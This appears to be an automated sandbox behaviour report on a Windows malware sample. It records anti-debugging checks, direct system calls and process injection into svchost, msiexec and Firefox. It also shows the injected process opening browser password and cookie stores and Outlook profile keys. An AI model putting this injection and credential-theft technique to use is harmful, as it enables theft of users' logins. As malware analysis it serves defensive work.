Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0 mov eax, dword ptr fs:[00000030h]	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034288C8 mov eax, dword ptr fs:[00000030h]	1_2_034288C8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034288C8 mov eax, dword ptr fs:[00000030h]	1_2_034288C8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034308CD mov eax, dword ptr fs:[00000030h]	1_2_034308CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034308CD mov eax, dword ptr fs:[00000030h]	1_2_034308CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A8F0 mov eax, dword ptr fs:[00000030h]	1_2_0343A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A8F0 mov eax, dword ptr fs:[00000030h]	1_2_0343A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A8F0 mov eax, dword ptr fs:[00000030h]	1_2_0343A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A8F0 mov eax, dword ptr fs:[00000030h]	1_2_0343A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A8F0 mov eax, dword ptr fs:[00000030h]	1_2_0343A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A8F0 mov eax, dword ptr fs:[00000030h]	1_2_0343A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034648F0 mov eax, dword ptr fs:[00000030h]	1_2_034648F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034C88FB mov eax, dword ptr fs:[00000030h]	1_2_034C88FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B488F mov eax, dword ptr fs:[00000030h]	1_2_034B488F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03456882 mov eax, dword ptr fs:[00000030h]	1_2_03456882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03456882 mov eax, dword ptr fs:[00000030h]	1_2_03456882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03456882 mov eax, dword ptr fs:[00000030h]	1_2_03456882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0347088E mov eax, dword ptr fs:[00000030h]	1_2_0347088E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0347088E mov edx, dword ptr fs:[00000030h]	1_2_0347088E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0347088E mov eax, dword ptr fs:[00000030h]	1_2_0347088E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E8890 mov eax, dword ptr fs:[00000030h]	1_2_034E8890
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E8890 mov eax, dword ptr fs:[00000030h]	1_2_034E8890
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D0F49 mov eax, dword ptr fs:[00000030h]	1_2_034D0F49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D0F49 mov eax, dword ptr fs:[00000030h]	1_2_034D0F49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D0F49 mov eax, dword ptr fs:[00000030h]	1_2_034D0F49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034EAF50 mov ecx, dword ptr fs:[00000030h]	1_2_034EAF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034EEF66 mov eax, dword ptr fs:[00000030h]	1_2_034EEF66
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504F7C mov eax, dword ptr fs:[00000030h]	1_2_03504F7C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345AF72 mov eax, dword ptr fs:[00000030h]	1_2_0345AF72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03486F70 mov eax, dword ptr fs:[00000030h]	1_2_03486F70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342EF79 mov eax, dword ptr fs:[00000030h]	1_2_0342EF79
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342EF79 mov eax, dword ptr fs:[00000030h]	1_2_0342EF79
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342EF79 mov eax, dword ptr fs:[00000030h]	1_2_0342EF79
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344CF00 mov eax, dword ptr fs:[00000030h]	1_2_0344CF00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344CF00 mov eax, dword ptr fs:[00000030h]	1_2_0344CF00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504F1D mov eax, dword ptr fs:[00000030h]	1_2_03504F1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03470F16 mov eax, dword ptr fs:[00000030h]	1_2_03470F16
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03470F16 mov eax, dword ptr fs:[00000030h]	1_2_03470F16
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03470F16 mov eax, dword ptr fs:[00000030h]	1_2_03470F16
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03470F16 mov eax, dword ptr fs:[00000030h]	1_2_03470F16
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B8F3C mov eax, dword ptr fs:[00000030h]	1_2_034B8F3C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B8F3C mov eax, dword ptr fs:[00000030h]	1_2_034B8F3C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B8F3C mov ecx, dword ptr fs:[00000030h]	1_2_034B8F3C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B8F3C mov ecx, dword ptr fs:[00000030h]	1_2_034B8F3C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034EEFD3 mov eax, dword ptr fs:[00000030h]	1_2_034EEFD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034DAFD0 mov eax, dword ptr fs:[00000030h]	1_2_034DAFD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034DAFD0 mov eax, dword ptr fs:[00000030h]	1_2_034DAFD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034DAFD0 mov eax, dword ptr fs:[00000030h]	1_2_034DAFD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034DAFD0 mov eax, dword ptr fs:[00000030h]	1_2_034DAFD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03446FE0 mov eax, dword ptr fs:[00000030h]	1_2_03446FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03446FE0 mov ecx, dword ptr fs:[00000030h]	1_2_03446FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03446FE0 mov ecx, dword ptr fs:[00000030h]	1_2_03446FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03446FE0 mov eax, dword ptr fs:[00000030h]	1_2_03446FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03446FE0 mov ecx, dword ptr fs:[00000030h]	1_2_03446FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03446FE0 mov ecx, dword ptr fs:[00000030h]	1_2_03446FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03446FE0 mov eax, dword ptr fs:[00000030h]	1_2_03446FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03446FE0 mov eax, dword ptr fs:[00000030h]	1_2_03446FE0

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_00426DA1 CreateFileW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,SetEndOfFile,GetLastError,

0_2_00426DA1

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0042202E SetUnhandledExceptionFilter,	0_2_0042202E
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_004230F5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004230F5
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00417D93 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00417D93
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00421FA7

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtCreateFile: Direct from: 0x771C2F0C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtSetInformationThread: Direct from: 0x771B6319	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtQueryVolumeInformationFile: Direct from: 0x771C2E4C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtDeviceIoControlFile: Direct from: 0x771C2A0C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtAllocateVirtualMemory: Direct from: 0x771C2B0C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtOpenSection: Direct from: 0x771C2D2C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtQuerySystemInformation: Direct from: 0x771C47EC	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtClose: Direct from: 0x771C2A8C
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtCreateKey: Direct from: 0x771C2B8C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtSetInformationThread: Direct from: 0x771C2A6C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtQueryAttributesFile: Direct from: 0x771C2D8C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtAllocateVirtualMemory: Direct from: 0x771C480C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtQueryInformationProcess: Direct from: 0x771C2B46	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtResumeThread: Direct from: 0x771C2EDC	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtCreateUserProcess: Direct from: 0x771C363C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtWriteVirtualMemory: Direct from: 0x771C482C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtProtectVirtualMemory: Direct from: 0x771C2EBC	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtDelayExecution: Direct from: 0x771C2CFC	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtOpenKeyEx: Direct from: 0x771C2ABC	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtResumeThread: Direct from: 0x771C35CC	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtAllocateVirtualMemory: Direct from: 0x771C2B1C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtReadFile: Direct from: 0x771C29FC	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtQuerySystemInformation: Direct from: 0x771C2D1C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtUnmapViewOfSection: Direct from: 0x771C2C5C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtNotifyChangeKey: Direct from: 0x771C3B4C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtWriteVirtualMemory: Direct from: 0x771C2D5C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtMapViewOfSection: Direct from: 0x771C2C3C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtSetInformationProcess: Direct from: 0x771C2B7C	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtReadVirtualMemory: Direct from: 0x771C2DAC	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtOpenFile: Direct from: 0x771C2CEC	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtQueryInformationToken: Direct from: 0x771C2BCC	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtAllocateVirtualMemory: Direct from: 0x771C3BBC	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	NtTerminateThread: Direct from: 0x771C2EEC	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: NULL target: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: NULL target: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\msiexec.exe

Thread register set: target process: 7304

Writes to foreign memory regions

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2995008

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0043916A LogonUserW,

0_2_0043916A

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

0_2_0040D6D0

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_004375B0

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_00436431 mouse_event,mouse_event,

0_2_00436431

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\p4rsJEIb7k.exe"	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_00445DD3 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00445DD3

Source: p4rsJEIb7k.exe, BlltrVxNMs.exe, 00000002.00000002.9380853166.0000000001C40000.00000002.00000001.00040000.00000000.sdmp, BlltrVxNMs.exe, 00000002.00000000.4737047660.0000000001C40000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: BlltrVxNMs.exe, 00000002.00000002.9380853166.0000000001C40000.00000002.00000001.00040000.00000000.sdmp, BlltrVxNMs.exe, 00000002.00000000.4737047660.0000000001C40000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: p4rsJEIb7k.exe	Binary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: BlltrVxNMs.exe, 00000002.00000002.9380853166.0000000001C40000.00000002.00000001.00040000.00000000.sdmp, BlltrVxNMs.exe, 00000002.00000000.4737047660.0000000001C40000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: BlltrVxNMs.exe, 00000002.00000002.9380853166.0000000001C40000.00000002.00000001.00040000.00000000.sdmp, BlltrVxNMs.exe, 00000002.00000000.4737047660.0000000001C40000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: yProgram ManagerF-

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_00410D10 cpuid

0_2_00410D10

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004223BC

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_004711D2 GetUserNameW,

0_2_004711D2

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0042039F GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_0042039F

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4812307431.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.8170544463.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.9380185277.00000000015B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.9381714381.00000000050A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4813936087.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.8170470399.0000000004F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4815096590.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\msiexec.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: p4rsJEIb7k.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 